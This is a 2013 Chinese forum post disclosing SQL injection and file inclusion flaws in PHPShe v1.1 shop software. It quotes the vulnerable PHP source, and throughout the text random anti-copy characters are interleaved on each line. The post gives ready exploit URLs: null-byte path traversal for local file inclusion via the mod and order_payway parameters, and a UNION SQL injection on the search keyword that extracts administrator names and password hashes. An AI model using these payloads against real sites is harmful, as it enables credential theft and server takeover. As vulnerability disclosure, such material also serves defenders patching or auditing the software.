找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2342|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/1 d9 `, A7 q- K0 Q" @- e7 t! I
/* Phpshe v1.1 Vulnerability
1 F* K, a/ X( m# ]4 {  d/* ========================
" S. I3 h- D% I/* By: : Kn1f3, Z' t- u9 R" y; j. j, b  y: n
/* E-Mail : 681796@qq.com2 c6 b3 Z+ }9 I7 h6 Y8 m: _& L
/*******************************************************/- V# G5 W! V4 |' U" M
0×00 整体大概参数传输
: E  i. X; J7 i& Q
) @  k3 D  B4 ]( i) a/ g( g* u3 b; O0 S7 q- q' c

1 k  D: [* P& v$ K' R* Y//common.php
2 f0 @$ g9 w) Y" j  a) @, O2 m7 Eif (get_magic_quotes_gpc()) {4 m, q# d4 {* w+ }
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');0 o; A9 N. w6 V
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');7 ^& I$ _+ d: M
}- B: x1 A! I  u9 I
else {
3 |; r& H. l$ Z7 ^- d2 X+ B) F9 {!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');& r$ V! q/ e+ ]2 U; d+ f1 |. ^( A
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');1 L# m) N$ ?# H
}) O- s! b" Z* A3 j! g4 ^
session_start();+ n4 ?% a/ ^4 H1 _& t2 \
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');0 A, [* v$ m+ E7 r) A& }  i) J
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');) O4 d9 W3 N# l, B/ L5 E
* }& ?" T% D  C) Z  N0 D6 F
0×01 包含漏洞8 Z9 o( n$ k! F, s! v' ?% r9 @3 E

% s: n2 w+ Z* f% m4 X8 n6 A
, Y* G/ J1 m1 n& n, q" u" M0 J) @5 V
//首页文件
( v% n/ s( I4 [, W<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
7 {% w% ~  g! G) _; w! ^include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
! x+ |. C3 Z8 Epe_result();
, [  F$ P+ C" z?>4 k7 X1 l1 t! g% M4 Z
//common 文件 第15行开始8 y" S; H4 G3 ~0 T
url路由配置
7 [! o  s' I) w" I) q$ V$module = $mod = $act = 'index';
9 b. `# ]: L  ~0 r  ?$ ]$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);% U4 L& G$ w" {6 y, [- w; I
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);4 Q- \: E' m$ j- |( C
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
1 U1 T% v2 E5 A* u//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
0 ]: w, B6 [3 a( k+ I


& m. c: u) O' ?+ z
5 x+ d# v, V' `5 n* P' ~0 | 0×02 搜索注入6 o/ c* W- C8 A5 g8 _# s" ~% S) \
7 H" Y  W3 Y1 l( J
<code id="code2">

//product.php文件
9 N0 t# i% v7 }" g& m3 @+ bcase 'list':, w4 _& X9 {6 n& X6 M
$category_id = intval($id);
9 A' C% f, H! L- K$info = $db->pe_select('category', array('category_id'=>$category_id));3 T- K& y, S! u* Z8 {$ b
//搜索
1 u, R- h! ^- |4 O, w" b$sqlwhere = " and `product_state` = 1";" h( \- o& j( g6 g/ D( }
pe_lead('hook/category.hook.php');, M7 {5 l9 P' \
if ($category_id) {: y2 t1 x. U6 l- R6 f1 |
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
2 a* ^/ s) ^0 R' J4 \}# b& m1 i- L1 e( c) h
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
* w0 W' M- Y# ^* O* R( T1 }3 Kif ($_g_orderby) {) H3 g/ i" D, b9 F' ]) M
$orderby = explode('_', $_g_orderby);
& `& @0 \% `! B& |4 D2 G$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";2 {& r! }" m7 {" X- l& t/ [  q
}, H/ G/ x9 L7 b/ N
else {
, o& |7 m- S: O0 ~' y/ Z) J* x1 @$sqlwhere .= " order by `product_id` desc";
- D8 J# E$ y( t* ~}: B" T4 Z  ^# S/ J/ W& T
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));8 K- D3 A! q2 b) Z( t- b+ G
//热卖排行
, g/ N3 h! g7 I# l6 @$product_hotlist = product_hotlist();3 t7 z3 f5 X) X3 B1 a& b
//当前路径
9 \  U+ Z% l1 T$nowpath = category_path($category_id);7 s8 n4 J' m9 e9 h" t2 ?
$seo = pe_seo($info['category_name']);
# n4 F% x" G( s7 I0 U# W/ ninclude(pe_tpl('product_list.html'));6 I  U6 e  v/ R6 @+ E3 ^: U
//跟进selectall函数库7 e) C6 p$ @# J5 i: H0 N* y
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
" I2 p, c" @* _, G4 b+ [/ ?1 Q{
: c( S2 e& i' C//处理条件语句3 s  N: f% k/ \: A: T% }
$sqlwhere = $this->_dowhere($where);- A1 y) r, E8 T
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);( p' D3 x* ^6 v& O5 [
}2 K6 R" c! @! b" g  o$ a
//exp1 K5 Z1 [4 f2 P; V" h2 ?
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
2 O5 B+ R: L% F- K8 B  \, v$ @# f: V

</code>
8 ?! c  l& p+ u9 Z* }/ c / p; x6 l( u7 K5 M. u" y
0×03 包含漏洞25 h# z; M* c; l* _( T- q
1 }9 [2 W; ?+ ]( x/ B# v+ s) P
<code id="code3">

//order.php

case 'pay':


0 n9 r, ?6 i! O3 \' Y$ f- o2 t& X$order_id = pe_dbhold($_g_id);


7 p' j  ]8 V# s3 _6 U$cache_payway = cache::get('payway');


; L1 K0 c: Q$ G0 F( ^% xforeach($cache_payway as $k => $v) {


/ |0 ^+ ?2 f% ~* X$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

  A: y# `+ [0 P( d  `$ [
if ($k == 'bank') {

  x: w3 Z3 h0 I$ F! H+ n4 j
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


! I) A* ^9 d. F& T}


# j! x6 l# q+ v3 e}

5 _* G2 e) t4 r, V9 U( ^! A- S
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

! }& k1 [; H6 O: y2 t
!$order['order_id'] && pe_error('订单号错误...');


) _4 q2 O: }- v, L- |- i: m  vif (isset($_p_pesubmit)) {

7 d4 V9 d* k" R0 |! D7 r
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

: A, k! A2 l% A+ {2 ?8 U
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


' H5 L" a* D9 M& l0 G3 e3 oforeach ($info_list as $v) {

7 f. a- n, ]" J7 c4 E
$order['order_name'] .= "{$v['product_name']};";& r4 \+ B  y1 o) Y) f  ?4 y  p

' ^, k8 H) c5 `$ S2 r
}


+ ~/ h* o/ l# K# ~echo '正在为您连接支付网站,请稍后...';


* m( v, l! {# `7 Winclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

) c/ }  |. k. f9 a. l2 t
}//当一切准备好的时候就可以进行"鸡肋包含了"

3 V* Q1 t* z4 _% O) ^7 o' y
else {

8 S4 M/ R6 O2 }- ?7 H$ o
pe_error('支付错误...');


' ]; F3 F2 @1 ~# m}

: g  G" o, G) g. g, y8 J1 @2 Y
}

- t: |, Z1 N/ ]/ {% A( H
$seo = pe_seo('选择支付方式');

7 z6 A" o2 C1 j  B* Z
include(pe_tpl('order_pay.html'));


/ b  B& }  P* f" m0 L1 Sbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
  ?: |. ?) r4 }. `/ B1 Shttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表